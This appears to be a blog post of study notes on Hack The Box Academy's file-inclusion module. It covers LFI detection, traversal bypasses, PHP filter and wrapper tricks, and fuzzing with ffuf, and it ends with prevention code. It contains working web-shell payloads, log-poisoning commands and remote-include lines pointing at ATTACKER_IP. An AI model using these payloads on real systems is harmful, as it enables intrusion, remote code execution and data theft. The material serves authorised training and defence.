空想网安の乌托邦
首页小说读书项目归档照片墙音乐说说杂谈关于
封面

HTB Academy:文件包含(File Inclusion)

写作时间:2026-09-22 14:03:10
# HTB Academy
# 网安

来源:Hack The Box Academy,Module 23。本文按照漏洞发现、读取文件、过滤绕过、代码执行路径和防御方法重新组织,不是网页逐句复制。仅用于 HTB 或明确授权的测试环境。

​

File Inclusion 模块封面

​

0. 本章知识地图

发现用户可控的文件路径
  → 判断读取还是执行、LFI 还是 RFI
  → 验证路径遍历并识别服务器环境
  → 针对固定前缀、扩展名和过滤器进行测试
  → 用 PHP Filter 读取源码
  → 条件允许时使用 Wrapper / RFI / 上传文件 / 日志包含验证 RCE
  → 用字典和 Fuzzing 扩大文件枚举范围
  → 使用规范化路径、允许列表和最小权限修复

章节结构

  1. Intro to File Inclusions
  2. Local File Inclusion (LFI)
  3. Basic Bypasses
  4. PHP Filters
  5. PHP Wrappers
  6. Remote File Inclusion (RFI)
  7. LFI and File Uploads
  8. Log Poisoning
  9. Automated Scanning
  10. File Inclusion Prevention
  11. Skills Assessment - File Inclusion

前置知识与环境

  • Linux 文件系统、相对路径和绝对路径;
  • HTTP GET/POST 参数与 URL 编码;
  • PHP、NodeJS、Java 或 .NET 的基本后端概念;
  • 能使用浏览器、Burp Suite 或 ​curl​ 修改请求;
  • 高级实验可能需要 Pwnbox IP、可达监听端口、PHP CLI、Python 3、​ffuf​ 和 SecLists;
  • 所有读取与代码执行测试必须限定在授权靶场。

1. Intro to File Inclusions:文件包含的根因

现代 Web 应用会根据用户选择动态加载模板、语言文件或页面片段。例如:

/index.php?page=about
/index.php?language=en
/about/en

如果应用直接把用户控制的值作为文件路径传给读取或包含函数,攻击者就可能改变路径,访问开发者原本没有打算公开的文件。

1.1 易受攻击的代码形态

PHP:

if (isset($_GET['language'])) {
    include($_GET['language']);
}

NodeJS:

if (req.query.language) {
    fs.readFile(path.join(__dirname, req.query.language), function (err, data) {
        res.write(data);
    });
}

Express 模板路径:

app.get('/about/:language', function (req, res) {
    res.render(`/${req.params.language}/about.html`);
});

Java/JSP:

<jsp:include file="<%= request.getParameter("language") %>" />

.NET:

@Html.Partial(HttpContext.Request.Query["language"])

共同根因是:不可信输入直接影响文件定位或模板加载。

1.2 读取与执行必须区分

技术/函数 读取内容 执行代码 可处理远程 URL PHP ​include()​ / ​include_once()​ 是 是 取决于配置 PHP ​require()​ / ​require_once()​ 是 是 通常仅本地 PHP ​file_get_contents()​ 是 否 可 PHP ​fopen()​ / ​file()​ 是 否 取决于配置 NodeJS ​fs.readFile()​ / ​sendFile()​ 是 否 否 NodeJS ​res.render()​ 是 可渲染/执行模板 否 Java ​include​ 是 否 否 Java ​import​ 是 可 可 .NET ​@Html.Partial()​ 是 否 否 .NET ​include​ 是 可 可

“能读取文件”不等于“能执行其中的代码”。后续利用路线取决于具体函数、语言和配置。

1.3 可能造成的影响

  • 读取 ​/etc/passwd​ 等系统信息;
  • 泄露应用源码、数据库连接信息、API 密钥;
  • 读取日志、SSH 密钥、Web 配置;
  • 配合文件上传或日志写入实现代码执行;
  • RFI 条件满足时直接包含远程代码。

2. Local File Inclusion:识别 LFI 与路径遍历

2.1 先建立正常基线

观察正常参数如何映射到文件:

?language=en.php
?page=about

需要确认:

  • 参数值是否带扩展名;
  • 应用是否自动加目录或扩展名;
  • 响应是文件原文还是执行后的结果;
  • 错误信息是否泄露完整路径;
  • 参数位于查询串、POST、Cookie 还是 URL 路径。

2.2 基础路径遍历

Linux 常用探测目标:

/etc/passwd

绝对路径示意:

?language=/etc/passwd

相对路径示意:

?language=../../../../etc/passwd

每个 ​../​ 返回上一级目录。无法事先确定深度时,可逐步增加并比较响应。

2.3 为什么常用 ​/etc/passwd​

  • 大多数 Linux 系统存在;
  • 通常全体用户可读;
  • 内容结构明显,便于确认文件读取;
  • 不包含密码哈希,验证影响相对有限。

典型内容格式:

root:x:0:0:root:/root:/bin/bash

2.4 文件路径枚举

确认 LFI 后,应结合系统和 Web 技术选择目标,而不是随机猜测:

/etc/passwd
/etc/hosts
/proc/self/environ
/var/log/apache2/access.log
/var/log/nginx/access.log
/var/www/html/index.php

Windows 常见验证目标:

C:\Windows\System32\drivers\etc\hosts
C:\Windows\win.ini

路径是否存在、是否可读以及内容是否显示,受操作系统、服务账户权限和应用函数影响。

2.5 结果解释

现象 可能原因 返回文件原文 使用读取函数,或非代码文件被 include PHP 文件内容不显示 文件被执行而非作为文本输出 页面空白 路径错误、权限不足、执行后无输出 报错泄露完整路径 可用于推断工作目录和拼接逻辑 始终加载默认页面 参数被允许列表限制或请求位置不正确


3. Basic Bypasses:基础过滤和路径限制测试

过滤绕过必须先理解应用做了什么:删除 ​../​、固定目录、追加扩展名,还是比较字符串。

3.1 非递归路径遍历过滤

如果应用只执行一次替换:

$language = str_replace('../', '', $_GET['language']);

嵌套写法可能在删除内层后重新组成 ​../​:

....//
..././

示意:

?language=....//....//....//etc/passwd

如果应用递归规范化或使用安全路径解析,此方法不会奏效。

3.2 URL 编码

代理、Web 服务器和应用可能在不同阶段解码。常见编码表示:

../        → %2e%2e%2f
../        → %2e%2e/
/          → %2f

双重编码示意:

%252e%252e%252f

应通过 Burp 或 ​curl​ 检查实际发送的字节,避免浏览器自动规范化 URL。

3.3 固定前缀

应用可能强制路径以指定目录开头:

if (strpos($_GET['language'], './languages/') === 0) {
    include($_GET['language']);
}

可保留合法前缀后再遍历:

./languages/../../../../etc/passwd

3.4 追加扩展名

应用可能自动拼接 ​.php​:

include('languages/' . $_GET['language'] . '.php');

此时实际路径并非攻击者输入本身。旧版 PHP 曾可能使用空字节截断:

../../../../etc/passwd%00

课程强调这是旧版本技术;现代 PHP 已修复,不能把它当作通用方法。

3.5 路径长度截断

某些旧环境对路径长度有限制,超长字符串可能截断被追加的扩展名。该技术同样依赖旧版本和具体实现,现代环境一般不应期待成功。

3.6 规范化的重要性

以下字符串可能解析到相同位置:

../../etc/passwd
....//....//etc/passwd
./languages/../../etc/passwd

防御和测试都应关注规范化后的真实路径,而不是只比较原始字符串。


4. PHP Filters:读取 PHP 源代码

直接包含 PHP 文件时,服务器通常会执行代码,因此看不到源码。PHP Stream Filter 可在 include 前转换文件内容。

4.1 Base64 编码读取

php://filter/read=convert.base64-encode/resource=config.php

放入参数:

?language=php://filter/read=convert.base64-encode/resource=config.php

页面返回 Base64 文本后,在本地解码:

echo '<BASE64_DATA>' | base64 -d

4.2 使用 ​curl​ 获取并解码

curl -s 'http://target/index.php?language=php://filter/read=convert.base64-encode/resource=config.php'

如果响应混有 HTML,需要先从页面中提取纯 Base64 字符串,再进行解码。

4.3 为什么 Filter 有效

原 PHP 文件
  → convert.base64-encode Filter
  → 变为不再具有 PHP 语法的文本
  → include 输出编码结果而不是执行原代码

4.4 适用目标

  • ​index.php​ 和路由文件;
  • 数据库配置文件;
  • 认证和权限逻辑;
  • 应用中被其他页面包含的 PHP 文件。

源码可能暴露更多路径、参数、凭据和可利用逻辑,但应按评估目标最小化读取范围。

4.5 排错

  • 返回空白:资源路径错误或应用追加了不兼容扩展名。
  • 返回普通页面:参数未进入文件函数或 wrapper 被过滤。
  • Base64 解码失败:响应夹杂 HTML、错误消息或换行。
  • 只能读取某目录:存在固定前缀或 ​open_basedir​ 限制。

5. PHP Wrappers:从数据流到代码执行

PHP Wrapper 为不同资源提供统一访问形式。能否利用取决于 PHP 配置、函数类型和版本。

5.1 ​data://​ Wrapper

​data://​ 可以把内联内容作为资源:

data://text/plain,<?php phpinfo(); ?>

Base64 形式:

echo '<?php system($_GET["cmd"]); ?>' | base64

得到编码后:

data://text/plain;base64,<BASE64_DATA>

放入易受攻击参数并在授权实验中附加命令参数:

?language=data://text/plain;base64,<BASE64_DATA>&cmd=id

前置条件通常包括:

  • 使用的是会执行内容的包含函数;
  • ​allow_url_include​ 已启用;
  • ​data://​ 未被过滤;
  • 请求编码正确。

5.2 ​php://input​

​php://input​ 代表原始请求体。如果应用包含它,POST Body 中的 PHP 代码可能被执行:

curl -s -X POST \
  --data '<?php system($_GET["cmd"]); ?>' \
  'http://target/index.php?language=php://input&cmd=id'

常见前置条件同样是 ​allow_url_include​ 与可执行的包含函数。

5.3 ​expect://​

​expect://​ 可以执行系统命令,但依赖额外的 PHP Expect 扩展,默认通常未安装:

?language=expect://id

因此它是特殊环境技术,不应作为首选假设。

5.4 Wrapper 选择表

目标 Wrapper 主要前置条件 读取 PHP 源码 ​php://filter​ 文件可访问,Filter 未禁用 包含内联代码 ​data://​ ​allow_url_include=On​,函数会执行 包含 POST Body ​php://input​ 可执行 include,配置允许 直接执行命令 ​expect://​ Expect 扩展已安装

5.5 配置判断

如果可以读取 PHP 配置或 ​phpinfo()​ 输出,重点检查:

allow_url_fopen
allow_url_include
open_basedir
disable_functions

配置失败不等于 LFI 不存在,只说明某条升级到 RCE 的路线不可用。


6. Remote File Inclusion:远程文件包含

RFI 指应用从远程 URL 加载文件。与只读取远程内容不同,如果使用 PHP ​include()​ 等执行型函数,远程 PHP 内容可能在目标服务器上执行。

6.1 主要前置条件

  • 易受攻击函数支持 URL;
  • PHP 环境中 ​allow_url_fopen=On​;
  • 对 PHP URL include,通常还需要 ​allow_url_include=On​;
  • 目标服务器能访问攻击机 HTTP/FTP/SMB 服务;
  • 参数没有阻止 URL Scheme;
  • 包含函数会执行远程内容。

6.2 准备授权实验文件

建立简单测试脚本:

<?php system($_GET['cmd']); ?>

在文件目录启动 HTTP 服务:

sudo python3 -m http.server 80

首次使用要求:

  • Python 3 已安装;
  • 80 端口未占用,低端口需要管理员权限;
  • Pwnbox IP 可从目标访问;
  • 当前目录只放置准备公开的实验文件。

6.3 HTTP RFI 示例

?language=http://ATTACKER_IP/shell.php&cmd=id

6.4 FTP 服务

章节还介绍可通过 FTP 提供远程文件。Python 可安装并启动简单 FTP 服务:

sudo pip3 install pyftpdlib
sudo python3 -m pyftpdlib -p 21

然后在允许 FTP URL 的实验中使用:

?language=ftp://ATTACKER_IP/shell.php&cmd=id

6.5 SMB 方式

Windows 或允许 UNC 路径的环境可能访问:

\\ATTACKER_IP\share\shell.php

攻击机可使用 Impacket SMB Server:

sudo impacket-smbserver -smb2support share $(pwd)

SMB 方式依赖目标网络出站访问和路径处理,也会产生认证与网络痕迹。

6.6 RFI 与 SSRF/读取远程内容的区别

  • 能访问远程 URL 不一定会执行返回内容;
  • ​file_get_contents()​ 可能只获取远程文本;
  • ​include()​ 在配置允许时可能解析并执行;
  • 观察攻击机服务日志只能证明目标发起请求,不能单独证明代码执行。

7. LFI and File Uploads:包含已上传文件

当 RFI 和 Wrapper 不可用时,若应用允许上传文件并能确定服务器上的实际路径,LFI 可能包含该文件并执行其中代码。

7.1 攻击链

上传包含服务器端代码的文件
  → 确定上传后的服务器路径
  → LFI 参数包含该路径
  → 执行型 include 解析文件内容

7.2 文件内容与扩展名

即使上传功能只允许图片扩展名,包含函数是否执行内容通常取决于 LFI 所在语言环境,而不只看文件扩展名。课程演示在图片内容中加入 PHP 代码,再通过 LFI 包含。

示意:

echo 'GIF8<?php system($_GET["cmd"]); ?>' > shell.gif

​GIF8​ 用于让文件具有简单图片标识;它并不能绕过所有真实上传校验。

7.3 确定上传路径

可从以下位置寻找:

  • 上传成功后的图片 URL;
  • 页面 HTML 中的 ​src​;
  • 应用源码或错误信息;
  • 约定目录,如 ​/uploads/​;
  • 数据库或 API 返回的文件名。

URL 路径与文件系统路径不一定相同。例如 ​/uploads/a.gif​ 可能映射到 ​/var/www/html/uploads/a.gif​。

7.4 包含示例

?language=./profile_images/shell.gif&cmd=id

成功条件:

  • 上传内容未被重写或重新编码;
  • 可推断实际路径;
  • Web/数据库生成的文件名已知;
  • LFI 使用会执行 PHP 的函数;
  • PHP 进程对文件有读取权限。

7.5 ZIP Wrapper

课程还介绍通过 ​zip://​ 包含归档中的 PHP 文件:

echo '<?php system($_GET["cmd"]); ?>' > shell.php
zip shell.jpg shell.php

包含形式:

zip://./uploads/shell.jpg%23shell.php&cmd=id

​#​ 在 URL 中需要编码为 ​%23​。此路线依赖 PHP ZIP 扩展和应用能够上传归档内容。

7.6 PHAR Wrapper

phar://./uploads/shell.jpg/shell.txt

PHAR 同样依赖扩展、归档结构和 PHP 配置。Wrapper 路线失败时应回到“文件是否存在、路径是否正确、函数是否执行、扩展是否安装”逐项判断。


8. Log Poisoning:日志写入与包含

Web 服务器通常把请求路径或 ​User-Agent​ 写入访问日志。若能控制日志内容,再通过 LFI 包含日志,PHP 代码可能被执行。

8.1 基本链路

向请求头或 URL 写入 PHP 代码
  → Web 服务器把内容记录到日志
  → LFI 包含日志文件
  → include 解析日志中的 PHP 代码

8.2 Apache 日志路径

常见位置:

/var/log/apache2/access.log
/var/log/apache/access.log
/var/log/httpd/access_log

Nginx 常见位置:

/var/log/nginx/access.log

实际路径取决于发行版和 Web 服务器配置。

8.3 注入 ​User-Agent​

在授权靶场中使用 ​curl​:

curl -s 'http://target/' \
  -A '<?php system($_GET["cmd"]); ?>'

随后包含日志:

?language=/var/log/apache2/access.log&cmd=id

8.4 前置条件

  • 已确认 LFI;
  • Web 服务器记录可控字段;
  • PHP/Web 服务账户能读取日志;
  • LFI 使用执行型 include;
  • 日志路径正确;
  • 日志中的 PHP 代码未被转义或清洗。

8.5 SSH 日志

如果 SSH 认证日志可读,用户名可能进入日志:

ssh '<?php system($_GET["cmd"]); ?>'@target

常见日志:

/var/log/auth.log
/var/log/secure

这种方法依赖日志格式、读取权限和 SSH 服务是否开放。

8.6 邮件日志

某些系统的邮件服务会把邮件内容或相关字段写入日志,理论上也可与 LFI 组合。课程的重点是理解“找到可控且可读的服务器文件”,而不是固定依赖某个日志。

8.7 风险与清理

日志污染会留下持久记录,且包含整个日志可能执行历史中其他意外内容。实验应使用最小命令,记录所写内容,并避免在真实生产日志中进行无授权测试。


9. Automated Scanning:自动化文件发现

确认参数具有 LFI 特征后,可用 Fuzzing 扩大覆盖面。自动化不能替代对固定前缀、扩展名和响应差异的分析。

9.1 参数 Fuzzing

如果不知道参数名,可对常见参数进行测试:

ffuf -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt \
  -u 'http://target/index.php?FUZZ=value' \
  -fs <baseline_size>

9.2 LFI Payload Fuzzing

ffuf -w /usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt \
  -u 'http://target/index.php?language=FUZZ' \
  -mr 'root:x:0:0:'

参数说明:

  • ​-w​:字典路径;
  • ​-u​:目标 URL,​FUZZ​ 为替换位置;
  • ​-mr​:用正则/文本匹配成功响应;
  • ​-fs​:过滤固定响应大小;
  • ​-mc​:只保留指定状态码。

9.3 首次使用前提

  • Pwnbox 通常预装 ​ffuf​ 和 SecLists;
  • 本地环境需要先确认命令和字典存在;
  • 目标参数和基线响应已人工验证;
  • 字典请求量符合授权范围;
  • 认证页面需带 Cookie 或完整请求头。

9.4 从服务器文件列表构造字典

课程提供常见 Linux 和 Windows 文件路径列表的思路。应根据已识别的操作系统、Web 服务器和应用语言选择字典,避免向 Linux 目标发送大量 Windows 路径或反之。

9.5 服务器日志与配置 Fuzzing

ffuf -w Linux-logs.txt \
  -u 'http://target/index.php?language=FUZZ' \
  -fs <baseline_size>

找到可读日志后,再判断是否存在可控写入点。仅能读取日志不等于能够通过日志实现代码执行。

9.6 自动化结果验证

每个候选结果都要手工重放并确认:

  • 返回内容是否确实属于目标文件;
  • 是否只是统一错误页面;
  • 状态码和响应大小差异是否稳定;
  • 参数编码是否与 Fuzzer 一致;
  • 是否因为服务器暂时错误产生假阳性。

10. File Inclusion Prevention:安全设计与修复

10.1 最佳方案:不要让输入成为路径

使用固定映射:

$pages = [
    'en' => 'languages/en.php',
    'es' => 'languages/es.php'
];

if (isset($pages[$_GET['language']])) {
    include($pages[$_GET['language']]);
}

用户只能提交业务标识,服务器决定真实文件路径。

10.2 输入验证

如果业务只允许语言代码:

if (!preg_match('/^[a-z]{2}$/', $language)) {
    die('Invalid language');
}

验证应采用允许列表,而不是只删除 ​../​、​/​ 或关键字。

10.3 路径规范化与目录边界

$base = realpath(__DIR__ . '/languages');
$path = realpath($base . '/' . $userFile);

if ($path === false || strpos($path, $base . DIRECTORY_SEPARATOR) !== 0) {
    die('Invalid path');
}

先用 ​realpath()​ 解析最终路径,再确认它仍位于允许目录中。必须处理目标不存在时 ​realpath()​ 返回 ​false​ 的情况。

10.4 安全配置

  • 关闭不需要的 ​allow_url_include​;
  • 视业务需要关闭或限制 ​allow_url_fopen​;
  • 使用 ​open_basedir​ 限制 PHP 可访问目录;
  • 禁用不必要的危险函数和扩展;
  • Web 服务账户只授予必要的文件读取权限;
  • 日志和上传目录不要允许应用执行脚本。

配置是纵深防御,不能代替代码中的安全路径映射。

10.5 上传安全

  • 上传文件存放在 Web 根目录之外;
  • 使用随机服务器文件名;
  • 不信任客户端扩展名和 MIME;
  • 对图片进行重编码;
  • 上传目录禁止脚本执行;
  • 应用下载文件时使用内部 ID 映射,而不是直接接受路径。

10.6 错误处理

生产环境不应向用户显示完整文件路径、调用栈或 PHP Warning。详细错误写入受保护日志,前端返回通用错误。

10.7 修复验收

  1. 正常合法页面仍能加载。
  2. ​../​、编码变体和绝对路径均无法逃离允许目录。
  3. ​php://​、​data://​、​<http://​> 等 Scheme 被拒绝。
  4. 不存在依赖后缀拼接的薄弱过滤。
  5. 上传和日志目录无法作为可执行包含源。
  6. 服务账户无法读取不必要的系统或应用秘密。

11. Skills Assessment:综合解题工作流

阶段一:识别入口

  • 修改语言、主题、模板、页面名称等参数;
  • 检查 URL 路径参数、GET/POST、Cookie;
  • 用唯一文件名或正常页面值建立基线;
  • 记录错误中泄露的目录和自动追加内容。

阶段二:验证 LFI

绝对路径 /etc/passwd
  → 不成功则测试相对路径深度
  → 判断固定前缀、后缀和过滤
  → 必要时测试编码或非递归过滤

确认文件内容特征,不能只根据状态码判断。

阶段三:源码与配置枚举

优先使用 ​php://filter​ 读取应用入口和配置源码:

php://filter/read=convert.base64-encode/resource=index.php

从源码中寻找:

  • include 的拼接方式;
  • Web 根目录和上传目录;
  • 数据库配置、凭据和密钥;
  • 可写文件和日志路径;
  • 是否允许远程 URL 或 Wrapper。

阶段四:选择 RCE 路线

allow_url_include 开启?
  ├─ 是:data://、php://input 或 RFI
  └─ 否:
      ├─ 有文件上传? → 包含上传文件
      ├─ 可写 Web 日志? → 日志污染
      └─ 仅文件读取 → 收集证据并停止升级

一次只验证一条路线,并使用 ​id​、​whoami​ 等低影响命令证明执行。

阶段五:自动化扩展与记录

  • 用 ​ffuf​ 枚举可读文件和参数;
  • 根据 Linux/Windows 和服务器类型选字典;
  • 保存成功请求、响应特征、文件路径和前置条件;
  • 清理上传测试文件和其他可控内容。

实验记录模板

## 入口
- URL/功能:
- 参数位置:GET / POST / Cookie / Path
- 正常值:
- 自动前缀/后缀:

## LFI 验证
- Payload:
- 读取文件:
- 绝对/相对路径:
- 响应特征:

## 过滤与绕过
- 被过滤字符:
- 编码层数:
- 固定前缀:
- 自动扩展名:

## 环境信息
- OS:
- Web 服务器:
- 后端语言:
- 文档根目录:
- allow_url_fopen/include:
- open_basedir:

## 升级路径
- PHP Filter:
- Wrapper:
- RFI:
- 文件上传:
- 日志污染:

## 修复建议
- 允许列表映射:
- 路径规范化:
- 权限/配置:
- 上传/日志隔离:

速查表

目的 形式 关键条件 Linux 文件读取 ​../../../../etc/passwd​ 路径深度和读取权限 绝对路径读取 ​/etc/passwd​ 未禁止绝对路径 非递归过滤测试 ​....//​ 过滤仅执行一次 URL 编码遍历 ​%2e%2e%2f​ 解码顺序存在差异 PHP 源码读取 ​php://filter/.../resource=file.php​ Filter 可用 内联代码 ​data://text/plain;base64,...​ ​allow_url_include​、执行型 include POST Body 包含 ​php://input​ 配置允许、执行型 include HTTP RFI ​<http://ATTACKER/file.php​> 远程 URL 与出站访问允许 上传文件包含 ​/uploads/file.gif​ 可上传、可确定路径、内容未重写 ZIP 包含 ​zip://archive%23file.php​ ZIP 扩展与可上传归档 Web 日志包含 ​/var/log/.../access.log​ 日志可控、可读、执行型 include 自动枚举 ​ffuf -w ... -u ...FUZZ​ 可靠成功匹配规则

常见故障排查

现象 优先检查 ​/etc/passwd​ 无输出 路径深度、固定前缀、权限、Windows 后端 PHP 文件空白 被执行;改用 ​php://filter​ 读取源码 Base64 无法解码 HTML 混入、复制不完整、资源路径错误 ​data://​ 不执行 ​allow_url_include​、过滤器、include 是否执行 RFI 服务收到请求但没 RCE 目标只读取内容,或远程脚本未被解析 上传文件包含失败 实际路径、随机文件名、文件被重编码、权限 日志不可读 日志路径、服务账户权限、容器化部署 日志有载荷但不执行 使用的是读取函数,或内容被转义 Fuzzing 全部相同 配置 ​-fs​、​-mr​,重新建立基线

最终记忆框架

文件包含的四个关键问题:
1. 用户能控制路径的哪一部分?
2. 最终规范化后的路径是什么?
3. 后端函数只读取,还是会执行?
4. 服务账户对目标文件具有什么权限?

LFI 成立 ≠ 自动获得 RCE
RCE 需要额外的可控文件来源和执行条件:
Wrapper / RFI / Upload / Log Poisoning

最可靠的解题方式是先证明文件读取,再通过错误和源码恢复应用的真实路径逻辑,最后基于实际配置选择升级路线。盲目堆叠编码、Wrapper 和日志路径,通常比理解数据流更慢。

avatar

Zybaxy918039

书本,学术,网安之间反复横跳的业余爱好者,目前在自学计算机网络和AI相关知识

RECOMMENDED

HTB Academy:使用 Nmap 进行网络枚举

2026-09-19 22:17:09

HTB Academy:信息收集-网络版(Web Reconnaissance)学习笔记

2026-09-19 22:22:34

HTB Academy:Footprinting(足迹收集)

2026-09-20 12:23:20

Table of Contents